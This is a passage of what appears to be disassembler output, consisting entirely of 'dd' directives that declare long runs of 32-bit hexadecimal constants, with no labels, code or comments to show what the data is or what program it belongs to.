		dd 92DE0E43h, 77B88C68h, 5BFC1C03h, 0BB562FBCh,	0C03FFA9Ah
		dd 1148BCh, 5232AB66h, 430FB075h, 0CB533Eh, 30B5257Dh
		dd 7FB37155h, 0D3910F0Ah
		dd 678A11DCh, 6F567804h, 0FA24EB0Eh, 8D18B877h,	1A780255h
		dd 0F231502Bh, 8B4563C0h, 0E270C100h, 0DA486FFAh, 48E1910h
		dd 81D297Ah, 5BC344DDh,	7B9B2284h, 34110942h, 84721C5h
		dd 0F5917D05h, 17AB2400h, 1D97250Eh, 967A147Eh,	0BA321B00h
		dd 0A3361E28h, 0B5291733h, 0FE1F03C8h, 2A09CE6h, 1C01A0EAh
		dd 29AAF40Ch, 63F0FB13h, 211F000Ah, 9560CC6Dh, 6005CF3h
		dd 1D644903h, 48598662h, 0C00A124h, 6E13D18Ch, 4B03EEF2h
		dd 0FF389FB7h, 0A515A016h, 442F00C9h, 653AADD5h, 0D07C1757h
		dd 0DF0075E0h, 0FB7A5448h, 3822B20h, 5D08803Bh,	9AFB4ADAh
		dd 728A0AF0h, 5EE22C00h, 708CC446h, 80CB0222h, 0FA0B0424h
		dd 0F55937C0h, 0EEC86D50h, 455C8300h, 4B627BFBh, 1865E801h
		dd 99B044Eh, 517F6880h,	3ED09C00h, 46D9C2CCh, 0E1CA0FD4h
		dd 0E320D650h, 0D5D3DD55h, 0F3018F7Ch, 391516D8h, 0C31FCFh
		dd 6783EA40h, 1421C019h, 0DC18D31Ch, 0F4781380h, 0DF269h
		dd 0EF363B4Ah, 59E1FB40h, 0C00C172h, 8EDC91A4h,	0A6E55Dh
		dd 1F936188h, 7C08A537h, 2A19FD00h, 0C3FF1B57h,	0FA1008Ah
		dd 0D42D7B98h, 0E71C2735h, 1FFE68CFh, 9000B792h, 0ACFE19BBh
		dd 98B40353h, 6A8F34Ah,	2ED3DEF8h, 69CFF115h, 0F7A008Ch
		dd 0FF7FC9E1h, 5C85F8E6h, 8800ABFEh, 90DAF21Eh,	0E50FFD0Bh
		dd 36D310Fh, 0E06E5660h, 3A765E68h, 7F8072E4h, 716F79F1h
		dd 4F54702Bh, 0C3FCDD8Ch, 1FA00084h, 66C78A09h,	0BB006904h
		dd 3A49F91h, 4DE1CBh, 802750DDh, 0DE6C5D31h, 18F36400h
		dd 0B5C33773h, 2AB49276h, 0CD40106h, 78A3D181h,	5A00E930h
		dd 2CBEA7E0h, 0F26149BAh, 0FEA005Bh, 0CF4852F4h, 8800C1DDh
		dd 1890C9Fh, 3C3470EFh,	0E489E626h, 5800B298h, 770C836Dh
		dd 0A92B0500h, 89CFD5E3h, 97BE003Fh, 441E9003h,	6A008628h
		dd 4561C819h, 0FFA1F3h,	8E7B0CF5h, 0B817425Ah, 1833B400h
		dd 0ECF34079h, 0E6E40003h, 0A081F53Eh, 0C8CA2A9Ah, 0F418CF1h
		dd 0E0EC713Ch, 0C749005Fh, 0AA98D360h, 45006338h, 328643FEh
		dd 0A8151Ch, 77854BCCh,	8C105AA0h, 0FCF7C4A9h, 43006001h
		dd 0B7649CF6h, 0A50B4Ah, 7AF4826Bh, 588CAD06h, 0D1D67800h
		dd 537B8F22h, 0DB270098h, 2A051B13h, 0DD00EE9Bh, 0A108A0C9h
		dd 16357FC5h, 8198B1h, 0DA24A22Ah, 18004359h, 0C5A5214Ah
		dd 6014F566h, 0F089D132h, 0DAE4B188h, 0EB78E39h, 43C097D9h
		dd 90C49BFFh, 0CDA4E8h,	0BB0D0B18h, 0BD0F2B63h,	132F6700h
		dd 1D3971C3h, 3E7600D0h, 0FE6D080Dh, 100E261h, 0CFA00EACh
		dd 4F19E20h, 3449D61Ah,	0D07880B2h, 88000852h, 0AF3556FDh
		dd 3DF670F5h, 7A80AAE8h, 4DB65B61h, 0A900D273h,	0D44B9F1Dh
		dd 48BBDEB8h, 7000280Fh, 0B5F33DECh, 0F5E4F9FBh, 0D3F4AF00h
		dd 591B1D43h, 95FC057Eh, 0A9D008h, 8A3E68C8h, 0DF0E0946h
		dd 0E0A5E347h, 8EFC324Eh, 5898ECh, 0E8C38762h, 0E91F3BA2h
		dd 44D17300h, 6139BBE0h, 500A0C51h, 0BC604172h,	2609C5F8h
		dd 0E76EA99h, 1256E064h, 53DB906h, 9BF8FAE8h, 0B2B00026h
		dd 0F066FC03h, 7CF1DF5Ch, 66E7CB2Eh, 0E8EF0600h, 0EAE4444Eh
		dd 97A60F0Dh, 0F8CEBD57h, 4209DA62h, 65DC2B60h,	0CD00AAEEh
		dd 0A5EF0B3Ah, 8E0D25h,	153F4452h, 93DA1A66h, 4FBCD813h
		dd 82ECC014h, 80B7115Dh, 0E824CADDh, 7717F77h, 520D4D93h
		dd 0B2A02EA2h, 36A5D310h, 5BACC800h, 2038B902h,	0F16500A1h
		dd 0D20A718Ch, 422631CBh, 6704F8FBh, 84C11959h,	60CA1DF4h
		dd 1211CDh, 16B16071h, 14CF6377h, 0B83D4A0h, 846D7800h
		dd 8A737DF7h, 17AECF6h,	7E881A91h, 70940395h, 0FB072846h
		dd 0FC465D76h, 814A6143h, 18626B7Dh, 0C3055B3Eh, 801EBF69h
		dd 53F5C060h, 19852703h, 0B09986E1h, 0E2D87Dh, 0E6022E98h
		dd 0A641467Fh, 4863CB24h, 0D0AE3C00h, 0FA572B0Dh, 5664012Ah
		dd 0F63AEC16h, 0F844C81Fh, 0E291BA00h, 0C981AC96h, 378B0634h
		dd 0D1668498h, 0DF73EB00h, 0E55FECD5h, 5EF23BDBh, 82F9E200h
		dd 6BFDE6F0h, 7CF1FB00h, 0C5DE6390h, 486474AEh,	0E4007CC9h
		dd 0F172BCD3h, 2BF8C3DAh, 1D57D218h, 5D28D0h, 0A329B7BBh
		dd 4B87061Eh, 0D6003D70h, 0FD9FDD27h, 2450586Eh, 28C8EEBh
		dd 0CBF3ECAh, 0A71F0700h, 2F9B4CAAh, 7CDF8000h,	73B4C261h
		dd 646A250Fh, 85BF80DCh, 0C0F6FD2Bh, 3DA89940h,	5600CDB1h
		dd 933550B5h, 719AF1h, 193472BEh, 0B40E5B77h, 0F30108B0h
		dd 0A17CED65h, 3AC8E078h, 0D07D031Fh, 30BD2431h, 0B440869Ah
		dd 0A13C50Ch, 7C0046BEh, 4C12936Fh, 8CDE0730h, 3004DFEDh
		dd 5DCCE81Dh, 76901300h, 7C311AF5h, 6E7A2E35h, 2500B840h
		dd 64BC3DA4h, 8A00F086h, 0C754F699h, 493113h, 564863FFh
		dd 3E92C41Dh, 72E6A00h,	0CBE15ACCh, 409A00D3h, 306B26B9h
		dd 0A100DA16h, 0A6B02AB8h, 39B72FBDh, 0EB80F39Ah, 0B4DCB6Dh
		dd 1100DF03h, 0BC2E6525h, 1B6884h, 1A6E8AC2h, 3C738FC7h
		dd 7B97CF00h, 0F8A0D829h, 95480E4Ch, 0E5F754Bh,	0A1437D53h
		dd 0AE90875Dh, 4D058C62h, 0D82059E6h, 4EF900C0h, 50B1007Eh
		dd 18659F05h, 0D749668h, 52611500h, 88114DA7h, 0CD6F008Ah
		dd 3B6D8040h, 66EEE963h, 0A8FA4A00h, 0DD22541h,	0C00500BAh
		dd 6E487930h, 0E3004BDFh, 138D674Dh, 71BBD3h, 4C96DCEDh
		dd 9130B1C6h, 0CE277507h, 809B5D83h, 9CBDFB24h,	9E694045h
		dd 0F50D3303h, 0F0132BABh, 18162AB1h, 94AB4FEh,	12F192Fh
		dd 120C782Ch, 2789727Ch, 908707E4h, 838E0593h, 173F853Eh
		dd 2400A443h, 6FCF7EE9h, 8AD03ADBh, 27DFD980h, 0CC5A4321h
		dd 6E15200h, 8860E78h, 109448A3h, 0ED74BE02h, 0ADE06C67h
		dd 4312C5B4h, 0A40FF535h, 0B731E3E3h, 1850F946h, 0C4AFCCh
		dd 0A630DC5Dh, 72820E64h, 3D97D01Ch, 0CC6C037Fh, 80E95A96h
		dd 8BFC6Eh, 2E80335Ch, 3C4682F8h, 590D3713h, 15B78100h
		dd 0E0B3B269h, 9BE106BDh, 0C866E7E0h, 37CAB40Bh, 0F81401C5h
		dd 0A0F42432h, 19900EF1h, 0E2206667h, 7FBE03B8h, 0A6C26400h
		dd 0FD41F358h, 0F4A458BFh, 0F09FC80Bh, 0B514A40Fh, 155FA500h
		dd 94DF798Fh, 2850464Ch, 5702F316h, 9A88E31Bh, 0E70C6004h
		dd 377DABh, 1946C275h, 567BFCF3h, 4351C300h, 5CDC266Dh
		dd 78FE44h, 0DE8CB5F7h,	7E395492h, 0C0BC4130h, 304AE4EBh
		dd 8968471Fh, 76179F7Ah, 10407DC7h, 91F83F55h, 0F07B2404h
		dd 8C9C1E58h, 0FF412D9Ah, 67082300h, 363AA8F5h,	84DE242Bh
		dd 8FDF01ECh, 0EC40A728h, 5300E9D8h, 4286F799h,	0A606B0h
		dd 8237EAC0h, 1EEDB691h, 483284EEh, 6053C03Eh, 38EE689Ch
		dd 8B00947Dh, 1BA33119h, 653080B2h, 0B90AF1C6h,	6EA5138Ah
		dd 799C00E9h, 0C640D1F8h, 0E07AB800h, 0B9534CCFh, 5539249Ah
		dd 15A0039h, 24DD4F22h,	16235F16h, 86009424h, 31AFF03Ch
		dd 526200E7h, 6C0E6FD3h, 420FCF36h, 0E19B3B35h,	924C6E1h
		dd 3C327871h, 84C05160h, 62E43A10h, 1FDA170Eh, 0F01A40D5h
		dd 0CB9F741h, 0CCAA379Eh, 2E074949h, 0BF4E538Ch, 0E835B630h
		dd 0C40403DEh, 45F1B929h, 2A010EF0h, 7856F39h, 48BBCF69h
		dd 0F1C5510h, 0F8A70ED1h, 0FD40D5ACh, 70DB75B3h, 0BCA8F00h
		dd 3F97FA5Ch, 6E443990h, 0ED3D9500h, 8BD8F493h,	851D3275h
		dd 0C9C01CAAh, 77576BBEh, 0B71E009Ch, 50F2479Bh, 0CC98FE34h
		dd 2D7ED102h, 6021728Eh
		dd 0CDFBEAh, 3F6DBF6Ah,	89A323DCh, 90F440FDh, 38FDD012h
		dd 2A2E0EA0h, 20960F7Ah, 0B21A2ECh, 0BE42168Ch,	575B00A5h
		dd 0F57AC443h, 1660DE00h, 0BB048292h, 0FE30B850h, 9BBF50D0h
		dd 0E05E0077h, 0F265B8A3h, 0E16028A6h, 0FA5F6760h, 0E8EE0729h
		dd 0F8BB035h, 5E4DAE41h, 0E470F2D7h, 0E155A800h, 388B5998h
		dd 7441749Ah, 0E9070C2Eh, 0DC48159Eh, 6C0F9218h, 39F0EEB9h
		dd 58E08135h, 0AC491F75h, 2C6D2E00h, 67BB7D6Ch,	0A0FDF51Dh
		dd 7A642040h, 635A0024h, 7D05CC2Eh, 39006B49h, 5D6F66A0h
		dd 0FCE42D52h, 0F28A351Ah, 0C2A60158h, 0BD6BEB92h, 28A2A879h
		dd 5A105880h, 922833B8h, 500014E9h, 6722EAF5h, 634E2Ch
		dd 1B418E6Ch, 0F3C17523h, 0F4950200h, 14E270C7h, 0BD6600EAh
		dd 514E2173h, 6C00CBCAh, 792CD408h, 1EBF4907h, 9F13068Fh
		dd 0BA7B0068h, 69843B75h, 110A8D0Eh, 0FA0202D7h, 85A8A096h
		dd 1EA699EAh, 0AE26E39h, 43C8EB34h, 0C13C6DC5h,	1AE7017Bh
		dd 0E4EC3441h, 646219Dh, 1112506Bh, 584F5C17h, 1C19E80Ah
		dd 0C5AD3507h, 691113Ch, 96EB9B63h, 8F06812Dh, 38FA2297h
		dd 0F6A57111h, 6FAA2020h, 1CD12502h, 136A0E57h,	0E4AA9EE0h
		dd 2B180302h, 0E1A12CF7h, 0A89D72A7h, 37120D66h, 2DE8E4D0h
		dd 3A366218h, 1D8D5E10h, 7E7D4E76h, 135E092h, 247BA596h
		dd 2C42F41Dh, 96696D01h, 17E39FB2h, 0F06638F0h,	10796726h
		dd 65894C0Dh, 74CEF900h, 42229402h, 0CB400FBh, 0F236D159h
		dd 0EC016360h, 0EBC017C8h, 0E1832A95h, 0A3CAE88Bh, 5E9C080Ch
		dd 60F91894h, 0C6A62137h, 4D01FCB5h, 2B5CCDDBh,	81E85918h
		dd 0F8C50031h, 0A6664308h, 90C46B3Eh, 8DC02680h, 1C5D8B1Dh
		dd 8018E4D8h, 5C77B0EDh, 0E83973DEh, 521A00C6h,	4603CCEFh
		dd 0A6880081h, 33D57729h, 2254C58Ah, 2150B2D0h,	980055D3h
		dd 110609A1h, 0D5949CCh, 294EC1CAh, 0DE34D438h,	9CEB9E0Ch
		dd 14AEB92Bh, 0A0307DFCh, 0F01F2E3Eh, 77716F6h,	405A698Fh
		dd 1F2B0E4Fh, 9E65CE06h, 0F8C09576h, 190A6027h,	7D6AC667h
		dd 92DE5688h, 3D18A12Ch, 0E2F53410h, 0A66519C1h, 308A8DEAh
		dd 80CC850Eh, 5E6ABC0Ah, 0A238C586h, 30C63BDAh,	1F224024h
		dd 7E2F00E1h, 0A892AB2h, 0B41C9064h, 1C3FB907h,	36C048C9h
		dd 0A985B771h, 5891E495h, 8803A29Ah, 82B16AA3h,	84BB8CC0h
		dd 0B061351Dh, 91899803h, 0B876C16Dh, 1D92A4D4h, 0E9E978Dh
		dd 83806248h, 73848AABh, 0F1F9C3Fh, 876BB687h, 0A873AD81h
		dd 0A7F0B783h, 298EB191h, 43381EA3h, 95C39079h,	54184AC7h
		dd 93087E63h, 0ABC396h,	88C063B0h, 1FB36DA9h, 0B7908600h
		dd 486C7E82h, 8DA7036Fh, 728A6EABh, 87AE64C0h, 8368BC0Ah
		dd 9E39681Eh, 9C0D8974h, 9807398Fh, 8F8048Ah, 102360CCh
		dd 0C513A3BFh, 0D5243E00h, 51C4FCA4h, 0AB860025h, 27DB50CDh
		dd 9D306F4Eh, 1DB6301Fh, 0DAF633DEh, 82F78918h,	880EAFEh
		dd 0AC488836h, 0ED7EBA00h, 476E3C28h, 352CA0D5h, 4E310AB4h
		dd 0C60C243Dh, 0C8E881Bh, 30431130h, 6CBAA90Bh,	0E6A059E9h
		dd 18C2DA44h, 40C479A3h, 0E9C18798h, 1FB4349Fh,	23B25985h
		dd 167854C3h, 43583928h, 9021BFA8h, 0EFBB90DFh,	80756BC8h
		dd 7730F2A3h, 1E3C3C26h, 0CC402457h, 59BBC186h,	0E2CB0759h
		dd 424BA781h, 0C80DBB8h, 29BA2E48h, 0A907E492h,	256530E5h
		dd 6FF8A2F0h, 0F9223BD1h, 19310518h, 53FC451Fh,	0D307FC92h
		dd 4F4D46BCh, 9CE1B9E0h, 283874A8h, 0A0CDCCBh, 2ACC2D36h
		dd 0D2AA8698h, 0A105B12Fh, 21BE780Bh, 9122643Ah, 0D17FF80Eh
		dd 408C15A4h, 81840FBCh, 0B0084FB8h, 0C8802067h, 0AF5CB23h
		dd 0AC4C8819h, 46E65F8h, 0C21EA0E0h, 4112F75Ch,	4016E648h
		dd 2600751h, 5419388Ch,	2E46A14h, 0A795E2A9h, 0C87C64CDh
		dd 904CE598h, 0C5C34566h, 9E688249h, 210CB547h,	4CD522A0h
		dd 0E0C48688h, 64823589h, 0D43410C3h, 40CA94A4h, 0C4AE01Eh
		dd 2AC82110h, 0F14680A1h, 280C8C99h, 0B8C6BE7h,	0BE800B7Fh
		dd 398A043Fh, 6F6088ABh, 50B2229Fh, 44F3F41Fh, 0EB221EC4h
		dd 840C4E6h, 8609564h, 41644A28h, 0E680354Ah, 0C8C9908h
		dd 8C42FE28h, 0A8E1971Ch, 907D0C66h, 0A852A9D1h, 142B1920h
		dd 0D1F28028h, 0E8850C99h, 808C0958h, 0EF449C35h, 6CE5887Ah
		dd 0A09348B1h, 412C4AE4h, 2214DE48h, 0A4FD1144h, 83745813h
		dd 57356D31h, 8DC85020h, 0F62A0E54h, 0B159CC2Eh, 0BEA84DE6h
		dd 0B4072681h, 91A50F42h, 21AB37D8h, 52A96558h,	842C6A4Ch
		dd 0B76BDB64h, 0E83DF68h, 1F335AA5h, 4868810h, 81CC199Ah
		dd 0F24EDA78h, 0A3F5122h, 3B0C11DCh, 346D18FCh,	0A879A18h
		dd 0AF761F1Ah, 4FED0FC4h, 0C03E3891h, 0A8A348BFh, 7D813C91h
		dd 1ED8F531h, 3C1CE845h, 0C02E1169h, 0D851E5B7h, 0FB1CC13Ch
		dd 101EDE3Ah, 21512312h, 0E637BDCh, 78689B7Ah, 910748AFh
		dd 7E72C04Ch, 79F89E75h, 96141E50h, 612E737Ch, 0DE00248Dh
		dd 66905C9h, 0B8872499h, 3E94C24Ch, 42854C60h, 0E37AA88h
		dd 0DEC07298h, 133A2F05h, 4B0402F4h, 0E5002678h, 9028DFC7h
		dd 7A091254h, 841004A0h, 36BC4155h, 204F7186h, 94DCB611h
		dd 307409ACh, 3F0CA023h, 3A6E194h, 4C42A9A8h, 83079A0h
		dd 8C652138h, 0A2C602E1h, 18C009B3h, 0B0A05362h, 7271EACCh
		dd 82E4E100h, 5C836E3Dh, 4ABF3D28h, 0FB1F4638h,	0D17881D5h
		dd 442BA2B4h, 889414B4h, 4C068709h, 18B740A8h, 596B28F8h
		dd 63C9220Eh, 21648C5Ah, 0F8700089h, 0A9A6BE91h, 0B8022CF4h
		dd 93FED9C8h, 3D1846FBh, 46009F8Bh, 0DCC28CB0h,	0B8302F15h
		dd 684B122h, 0A00A00A4h, 1C7437Ch, 0B6199079h, 271A380Dh
		dd 93311421h, 0EED8A8A8h, 0B058D957h, 727C188Bh, 8CD17BF8h
		dd 8D5F44h, 0C76F874h, 0D12E1367h, 2AA82554h, 5F63C314h
		dd 191D09D0h, 0F444809h, 0BB7F0F10h, 410005D9h,	8D84669h
		dd 5E213E63h, 4B3CA8BAh, 6B4406DCh, 71570785h, 0B00F7B00h
		dd 688BD681h, 18E3FA3h,	0E4085600h, 11072DC5h, 0C8C8A0B0h
		dd 0F877C386h, 0C044D193h, 88886164h, 27F8006Fh, 0D489CB78h
		dd 0BD582ED0h, 0FDA78158h, 682039B0h, 0A93A6607h, 14A609B6h
		dd 0EB296800h, 98435D9Ch, 7E711D1Ah, 128080DEh,	0E86D2A5Eh
		dd 393B0830h, 0EB89C6h,	987D3185h, 0DED79B7Fh, 0A99C4E00h
		dd 62C0813Ah, 0C1230C6Ch, 70D0D3EEh, 9050570Ah,	0AE006476h
		dd 307705AAh, 0D4488031h, 0A33D0105h, 0AA005CEEh, 0BC102262h
		dd 26A901F0h, 888F16D3h, 0E490214Bh, 0BCEDB105h, 2D3816D8h
		dd 23FF09BFh, 0F60A4CE6h, 7CA2577Fh, 6E40EF1Eh,	3BA97E42h
		dd 6851881h, 5B4F315Ah,	201F390h, 0ADE149A0h, 0A770E779h
		dd 0D2E80625h, 3A877009h, 2D672E0Ah, 790334D1h,	38D3778Dh
		dd 4A8001D9h, 35AA5752h, 30CF9A6Eh, 731106h, 9CD18CD0h
		dd 0C9CB7A4Eh, 0EB270E04h, 0C3C36AE2h, 5073A7h,	0DC3A438Ch
		dd 66DF1914h, 1E9FA01Eh, 0ABBCD5CFh, 3ECC2FCAh,	0E13907CCh
		dd 0B7D0556h, 0A9ABE7Fh, 9BC4B7C0h, 75F82151h, 6900A40Bh
		dd 10A6EBB8h, 712F0AF6h, 0D5DB03EDh, 26316ED8h,	0AF3FD905h
		dd 0D20085F7h, 61F3DB2h, 4875F889h, 3E80D81Dh, 0A793E2A6h
		dd 9F3A96C6h, 213860B9h, 12E29E64h, 90F39600h, 0A0B75BBBh
		dd 0CEEE00FCh, 575E8881h, 216CF6A4h, 8C9AD030h,	7A0B7804h
		dd 4C6272BEh, 0B70E02Fh
		dd 0B429E1Ah, 4A6AACD3h, 0A9E4382Eh, 0A8481223h, 0E18FC06Fh
		dd 8146A8A1h, 60033522h, 0DD6CE187h, 0A30FF032h, 155717Fh
		dd 9910F52Eh, 204239A8h, 398C8CD4h, 0D108F87Dh,	65645993h
		dd 0F8758E43h, 0E04DB0F1h, 0F300A17Eh, 0AB3AD094h, 0C3590806h
		dd 25F5F029h, 3171C4C8h, 0D1FA3E00h, 821978FCh,	78AD61D8h
		dd 104EA845h, 1DB108C9h, 0E433EFE6h, 99E4680h, 0D08040A2h
		dd 448109A9h, 71984F07h, 5C1072F3h, 14792D6Ah, 8378936Fh
		dd 0AE6E8D01h, 229633DDh, 0DE787868h, 12E4C348h, 0E02256E8h
		dd 405A31h, 1A754F5Bh, 1FF1EB6Eh, 2AB49304h, 1880AAA0h
		dd 125ADE4Bh, 37D8B49h,	0BD65761h, 0A0D91812h, 9D846500h
		dd 0E838585Fh, 0C4314C6Fh, 4AB80380h, 8E00BC47h, 0F5434C9Fh
		dd 25782F0Eh, 18A2AA44h, 4C64AB57h, 0F9AD4537h,	4C9404C9h
		dd 0E5F5B740h, 98EEA1C4h, 0A830AA00h, 0D79C4364h, 34D51665h
		dd 668004EFh, 0DD45012Dh, 0A3D06019h, 0A82040BBh, 1CF7D703h
		dd 99894A41h, 0A82CA0DDh, 760C3258h, 5EB93230h,	0AFF29707h
		dd 8F701C9Dh, 3CEF7C7h,	0C4277FDBh, 7DD2D104h, 11431CC1h
		dd 65DC5D7Ch, 0DACE00A2h, 0FFF56C59h, 6E2797CCh, 0B29CA030h
		dd 3B37E14Bh, 0E982AEA3h, 0D32E1661h, 7305C44h,	37475146h
		dd 8C50001Ah, 0CDB24F97h, 9F03FD36h, 0CC7B3265h, 0AA800594h
		dd 824B84EAh, 4CE88874h, 8680583Bh, 9B8D00BFh, 0B68BFED4h
		dd 28036C22h, 0A891B7C8h, 451ABF2h, 0CDD4928h, 0D8C4C836h
		dd 0CE11A204h, 0E892B261h, 0B7C309Eh, 92BE7E10h, 0B74F0E7h
		dd 0C00480DDh, 5056B4D3h, 0B312C11Dh, 316BE722h, 0BFF808ACh
		dd 2959A312h, 23B0F400h, 0D91AD2h, 0BEB5F472h, 0C9773EC0h
		dd 0ACF85AF8h, 884CC690h, 8C37BC60h, 0C80907F8h, 1899601h
		dd 9FD4C290h, 4758863h,	0C438EDF0h, 573C8277h, 55B3BF21h
		dd 0AE003028h, 8CF006A0h, 0EE00C0B2h, 1999DD98h, 6C88F34h
		dd 0FAA4D213h, 352EF04Ch, 4674C0EFh, 0AF0D0062h, 7932D430h
		dd 0AB580CF0h, 0C8803C1Dh, 0B89BF926h, 0C14058ACh, 4B08A118h
		dd 3294006Ch, 358A20AAh, 8098704Dh, 0A8A2E190h,	3B448C89h
		dd 0E1880061h, 0E4EEABBFh, 170A4AD5h, 9007ADF9h, 0F3608C47h
		dd 12A8149Fh, 15354DDh,	2D807E18h, 4F822CCh, 64C7CAAAh
		dd 43A92C82h, 770FD4B0h, 80C830EAh, 75822439h, 0CE00029Ah
		dd 0FFE19C26h, 0C9E2DC40h, 3066575Eh, 74F87950h, 11E2FE8Ch
		dd 88B4A792h, 9D638039h, 42EFEDE2h, 79875212h, 9F9CF300h
		dd 2A17350Eh, 0B84D07h,	0DEAB69EFh, 82F085A8h, 876FFD01h
		dd 672F46A9h, 0B880A830h, 4A504430h, 9E70B02h, 0E6C227A8h
		dd 1B28A018h, 7C94BA6Eh, 8F192E84h, 7014F00h, 28767759h
		dd 80EBC77Ch, 56C2A471h, 10B71080h, 2B18F9C4h, 0F4F04701h
		dd 7760736Eh, 4DAAE830h, 0C10478FFh, 0B02D65DBh, 443DF0D0h
		dd 0D2AD85DDh, 0BC01B6DFh, 4C21051Fh, 20EE1B00h, 9F4A989h
		dd 0B0E8A84Ah, 8D920096h, 57C24EDFh, 8F00DB29h,	3CA92724h
		dd 29DABDAh, 234EE71h, 444A558h, 25A3670Ch, 58D38033h
		dd 982608E0h, 0E076C510h, 109B6208h, 7F5211h, 61F00B6Eh
		dd 25828C43h, 0A96CE901h, 4FB5BBBEh, 8EDC5984h,	3164B422h
		dd 302C49h, 0B8386D8Ah,	4E7F368h, 30E660B7h, 1E8E6E8h
		dd 0DBB928BDh, 50802CADh, 6E4E9348h, 0F508AA9Bh, 42357D7h
		dd 0E0DEA4D1h, 0BB48C3E4h, 0F0164BFAh, 0CB767501h, 0A82C9ADCh
		dd 5F923601h, 4ED6886Fh, 0C6F81120h, 12DC7B81h,	0A4820428h
		dd 0BF8339Dh, 8A46BE7Dh, 73FE4B22h, 0BF5A0B01h,	55F4FDA9h
		dd 10C0E846h, 215708h, 8C97627Bh, 0A98EB6h, 9E91BF3Eh
		dd 0A53FAD92h, 803D9074h, 95761EA3h, 2C528280h,	3EB37F83h
		dd 0BD3F5584h, 0BC3E9A04h, 68078087h, 0BBEC9D93h, 369C3F3Dh
		dd 1F1128B4h, 7BC8DA4h,	60B18398h, 92BD3E9Ch, 68829A07h
		dd 0A987AE81h, 0B0A1A4C7h, 56E2A784h, 0BA8501B4h, 2B4CA280h
		dd 446443Ah, 6EA4B0AEh,	0B48348A7h, 0BE4CA802h,	18969997h
		dd 4BC0EF2h, 44CDE404h,	66B4E0h, 3A3A49Eh, 58FE1E19h, 0AC185F60h
		dd 9E80ABBAh, 39888498h, 6C04121Fh, 0A4C03DCDh,	0E061E9Bh
		dd 0DFD4D56Fh, 0C1900357h, 0E3B87B1Ch, 185ECD2Eh, 344BAC00h
		dd 1D7817AAh, 4B4C19C0h, 0EC38C329h, 8E7B4486h,	83DDA5Ah
		dd 51C27030h, 0A86040D3h, 838C969Eh, 35894A88h,	798786A7h
		dd 0C08BDF30h, 0A8E50DABh, 49D767Ch, 0DBBB3674h, 1BAD6C1Dh
		dd 105E40F2h, 0EBEFD5E0h, 684E2831h, 6CE1B075h,	1887001h
		dd 0F888F5A5h, 0AC02363Ah, 54FBD1EAh, 0D8C58830h, 0D5FC9C20h
		dd 78A3E033h, 1FB13AD7h, 8C0F5770h, 8C914C58h, 0E30A81E6h
		dd 887FEFEEh, 0F80615h,	0F5A2A01Eh, 0FA27D12Dh,	0B921h
		dd 663C090Bh, 831F1D9Ch, 48ECD878h, 481E3A45h, 0F4EE4833h
		dd 91762898h, 0E6605E64h, 23D4459h, 3D2F82Eh, 0D656EC51h
		dd 40D26B49h, 919E3EC0h, 1DA3685Ch, 968FAF8Dh, 96820E8Bh
		dd 0C0AA7832h, 58BD9050h, 0E7C548Dh, 9B6D7A3Fh,	0AC41A38Fh
		dd 0F82B6384h, 44A65A29h, 65359300h, 0BB944EFAh, 1F04ACA7h
		dd 14A9751Ah, 8D00C4Dh,	0ABB98738h, 4C3589FCh, 63528230h
		dd 21383E08h, 9E1FBE4Ch, 0A04A144Bh, 0F68120E8h, 10C60994h
		dd 6708B4CAh, 3711E8FAh, 3056123Fh, 6E21628Ch, 78220EFDh
		dd 4608CC44h, 7C084620h, 70012E41h, 460256F6h, 23F09C6Dh
		dd 0C4652F6h, 8C3E7B15h, 82065090h, 28639761h, 91FDA4A4h
		dd 4C224B09h, 894E4D44h, 2450124Fh, 91524851h, 44542253h
		dd 57895655h, 59245812h, 5B915A48h, 3E005C3Eh, 84719876h
		dd 77319E72h, 2137C179h, 8439B894h, 4974FB2h, 8548459h
		dd 7F499280h, 48251F5Ch, 983E3FCCh, 0D9013D3Eh,	6FB93720h
		dd 4924F046h, 975C8E1Dh, 9F1E9C1Eh, 0A71FA41Fh,	4032AC1Eh
		dd 46DD0294h, 0B603B904h, 89E1266Fh, 45A7E049h,	0FED74894h
		dd 55FF0487h, 88B32292h, 9A6E8E0Eh, 0A0748942h,	359F852Fh
		dd 0ACC0382Ah, 856FBA83h, 28946788h, 450471BBh,	2F381468h
		dd 0C0BAEA04h, 0A26406B9h, 0BB28022Dh, 0CD433526h, 0F9171083h
		dd 0C0382AB5h, 68E30851h, 0A30B0FDEh, 94862AB3h, 50F21839h
		dd 2BC6A100h, 0AC5C9337h, 0A91CA13Ah, 25BFD8F3h, 5666140Fh
		dd 418B2822h, 7DE0E4D4h, 0DC78638Ch, 3124D841h,	4A0BEC4Eh
		dd 0FC57ACD4h, 0BBC140C4h, 0A2802639h, 19426008h, 6BF0DF5Ah
		dd 3B8B8600h, 0CEB7B63h, 0E0B600A5h, 1E358392h,	7295BCD1h
		dd 0E76107B4h, 0C026DE57h, 2F1F307Dh, 0E3E279C0h, 3A0D709h
		dd 0E0205A8Fh, 26C84B7Eh, 7B00F2A5h, 0F6AAAE7Dh, 3FE137A0h
		dd 78F8C5F3h, 3E0F0025h, 8589FFF8h, 31011FEDh, 0ADD52CA1h
		dd 0F22B6C63h, 27D70088h, 28D07812h, 395F0003h,	525ABE9Fh
		dd 0D318586Fh, 0A6E02D41h, 4BBA7AAAh, 3CA874h, 0E9B72131h
		dd 179571h, 7E68913Eh, 944D2B9Fh, 0A0729200h, 1EE4A72Eh
		dd 54CDEA35h, 3014E837h, 0DEE1491Fh, 51002BABh,	0F4F5D9CAh
		dd 1CF0040Dh, 80648E3Ch, 4AD0996Ah, 626324EBh, 72B40778h
		dd 0ED931C50h, 507F942h, 30A92312h, 21F2B24Dh, 40292F03h
		dd 0D00A7C79h, 3D103893h, 5A3E975Dh, 153A5C07h,	53F805Bh
		dd 4FFA9F5Fh, 49029BFAh, 42865D0Bh, 7814940Eh, 9C643735h
		dd 3CA01130h, 339BF017h, 7490540h, 38836310h, 8995700Fh
		dd 98002328h
		dd 784C1A3Bh, 3069047Ch, 88188687h, 4B030F3Fh, 4C1B3DA1h
		dd 0CE80A699h, 84810728h, 0D04F0C44h, 4D301436h, 9B647887h
		dd 4331C734h, 4D599C15h, 0C479D29h, 8428978Ah, 95680B80h
		dd 14501338h, 88143C86h, 63114305h, 40141E9Ah, 0C77895ABh
		dd 9CF03A31h, 1846A430h, 0F6F5FB28h, 733B182Dh,	0A5D53196h
		dd 95661D00h, 15A07B26h, 5A89009Ah, 741C2517h, 5E074B50h
		dd 2962020Bh, 0BDAD9580h, 278E00FDh, 0A0E70C3Ah, 0CE01FFF0h
		dd 9D5713A8h, 71871EA5h, 0D078C87Bh, 9FCDF643h,	170BD300h
